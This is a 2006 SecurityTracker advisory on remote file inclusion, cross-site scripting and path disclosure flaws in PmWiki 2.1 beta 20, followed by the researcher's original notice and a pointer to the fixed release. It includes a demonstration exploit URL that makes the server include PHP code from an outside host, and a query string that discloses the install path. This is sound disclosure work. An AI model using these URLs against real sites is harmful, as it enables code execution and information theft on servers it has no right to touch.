PmWiki Include File Bug Lets Remote Users Execute Arbitrary Code and Input Validation Bugs Permit Cross-Site Scripting, and Path Disclosure Attacks
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SecurityTracker Alert ID: 1015550
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SecurityTracker URL: http://securitytracker.com/id?1015550
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CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Jan 30 2006
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Impact: Disclosure of authentication information, Disclosure of system information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information, User access via network
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Fix Available: Yes
Exploit Included: Yes
Vendor Confirmed: Yes
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Version(s): 2.1 beta 20
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Description: Francesco "aScii" Ongaro reported a vulnerability in PmWiki. A remote user can execute arbitrary code on the target system. A remote user can also conduct cross-site scripting attacks and determine the installation path.
The software does not properly validate user-supplied input. If register_globals is enabled and PHP 5 is used, a remote user can
supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The
PHP code, including operating system commands, will run with the privileges of the target web service.
A demonstration exploit
URL is provided:
/pmwiki.php?GLOBALS&GLOBALS[FarmD]=http://www.ush.it
Several scripts do not properly filter HTML code from
user-supplied input before displaying the input. A remote user can create a specially crafted URL that, when loaded by a target
user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running
the PmWiki software and will run in the security context of that site. As a result, the code will be able to access the target
user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target
user via web form to the site, or take actions on the site acting as the target user.
A remote user can also supply the following
type of URL to cause the system to disclose the installation path.
/pmwiki.php?GLOBALS&_SERVER&_REQUEST&_GET&_POST&_ENV
The
original advisory is available at:
http://www.ush.it/2006/01/24/pmwiki-multiple-vulnerabilities/
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Impact: A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target
web service.
A remote user can access the target user's cookies (including authentication cookies), if any, associated with the
site running the PmWiki software, access data recently submitted by the target user via web form to the site, or take actions on
the site acting as the target user.
A remote user can determine the installation path.
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Solution: The vendor has issued a fixed version (2.1.beta21), available at:
http://pmwiki.org/wiki/PmWiki/Download
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Vendor URL: pmwiki.org/ (Links to External Site)
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Cause: Input validation error, State error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Reported By: ascii <ascii@katamail.com>
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Message History:
None.
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Source Message Contents
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Date: Sat, 28 Jan 2006 21:07:16 +0100
From: ascii <ascii@katamail.com>
Subject: PmWiki Multiple Vulnerabilities
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PmWiki Multiple Vulnerabilities
Name Multiple Vulnerabilities in PmWiki
Systems Affected PmWiki (verified on 2.1 beta 20)
Severity Medium Risk
Vendor www.pmichaud.com/wiki/PmWiki/PmWiki
Advisory http://www.ush.it/2006/01/24/pmwiki-multiple-vulnerabilities/
Author Francesco "aScii" Ongaro (ascii at katamail . com)
Date 20060119
NOTE: This work only with REGISTER_GLOBALS ON on many versions of PHP5 (tested on 5.0.5, 5.1.1, 5.1.2
).
This vulnerability defeat PmWiki global sanitizing code and allow
remote arbitrary file inclusion.
Advisory released on 20060128:
PmWiki Multiple Vulnerabilities
http://www.ush.it/2006/01/24/pmwiki-multiple-vulnerabilities/
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